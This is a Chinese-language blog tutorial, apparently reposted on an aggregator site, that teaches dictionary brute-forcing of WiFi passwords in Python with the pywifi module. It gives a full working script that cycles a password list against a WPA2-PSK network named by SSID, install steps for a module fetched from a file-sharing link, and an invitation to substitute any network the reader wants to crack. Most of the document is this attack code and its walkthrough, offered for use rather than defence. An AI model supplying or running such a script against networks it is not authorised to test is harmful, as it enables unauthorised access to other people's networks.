分分钟搞定python破解无线wifi

您所在的位置:网站首页 免费连接网络的软件不用密码 分分钟搞定python破解无线wifi

分分钟搞定python破解无线wifi

2024-07-15 00:40| 来源: 网络整理| 查看: 265

这几天公司有些忙,老加班,更新的有点晚了。趁着休息 给大家实战一下怎样用 python破解wifi。 前几篇讲了python破解mysql账号和密码, 这次的代码我就不讲解在上篇说过的一些代码逻辑了。 要是有没看过的,可以去看一下上一篇。

这里写图片描述

代码我进行了大量精简,这样更能让大家看懂,有些功能我们以后在讲,这里我们只针对破解密码。

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。 有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。 链接:http://pan.baidu.com/s/1qXZSbEW 密码:m8wm 如果模块出现问题,请看评论里面的更新

本地安装方法: 1)下载解压好以后,我们用cmd命令行,进入到你的文件目录, 2)使用命令pip install . 注意了(install后面有个点) 3)然后就会安装了,等一会就可以了。

这是我安装的,可以参考下: 这里写图片描述 pywifi-master文件夹,我是放在c盘根目录下的,所以首先进入根目录,然后在进入pywifi-master文件夹,再输入命令pip install . 就行了 大家可以根据自己放的文职进行输入命令

既然大家已经准备好了,那就开始了: 首先贴出代码,代码旁边有详细的注释, 先参考一下,我后面会讲述一下实现过程:

# coding:utf-8 import time #时间 import pywifi #破解wifi from pywifi import const #引用一些定义 from asyncio.tasks import sleep class PoJie(): def __init__(self,path): self.file=open(path,"r",errors="ignore") wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = wifi.interfaces()[0]#抓取第一个无限网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态, assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("开始破解:") while True: try: myStr =self.file.readline() if not myStr: break bool1=self.test_connect(myStr) if bool1: print("密码正确:",myStr) break else: print("密码错误:"+myStr) sleep(3) except: continue def test_connect(self,findStr):#测试链接 profile = pywifi.Profile() #创建wifi链接文件 profile.ssid ="e2" #wifi名称 profile.auth = const.AUTH_ALG_OPEN #网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile.key = findStr #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件 self.iface.connect(tmp_profile)#链接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def __del__(self): self.file.close() path=r"C:\Users\Administrator\Desktop\csdnwifi.txt" start=PoJie(path) start.readPassWord()

运行结果: 这里写图片描述

下面讲解一下实现过程:

**1)**首先导入pywifi模块,因为要启用wifi那么必须要有启用wifi的模块。

**2)**有了启用wifi的模块以后,我们首先要抓取网卡接口, 因为连接无线wifi,必须要有网卡才行。一台电脑可能有很多网卡, 但是一般都只有一个wifi网卡,我们使用第一个网卡就行了。

**3)**抓取到以后就进行连接测试,首选是要断开所有的wifi网卡上 的已连接成功的,因为有可能wifi上有连接成功的在。

**4)**断开所有的wifi以后,我们就可以进行破解了, 从(.txt)文档中一行一行读取我们的密码字典, 一遍一遍的刷密码,直到返回isOK为True,表示破解成功。

**5)**因为连接也是要时间的,不可能一秒钟尝试好多次, 所以我们设置了睡眠sleep.

大家可能还有疑问,那就是test_connect这个方法中的代码,

1) profile.ssid ="e2"表示你要破解的wifi的ssid也就是wifi名称, 我手机开了热点,热点名字是e2所以我写了e2, 大家可以自己更该要破解的名称

2) profile.key就是要输入的密码

3) 别的代码差不多就是固定写法了,还有加密算法可以更改, 这里就不进行具体讲解了,本篇主要让大家简单学会破解。

要是有什么疑问可以留言,邮箱我, 欢迎大家阅读我的其他文章,谢谢。 请看评论里面的更新 欢迎进(Q)群,帮你解决问题: 在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3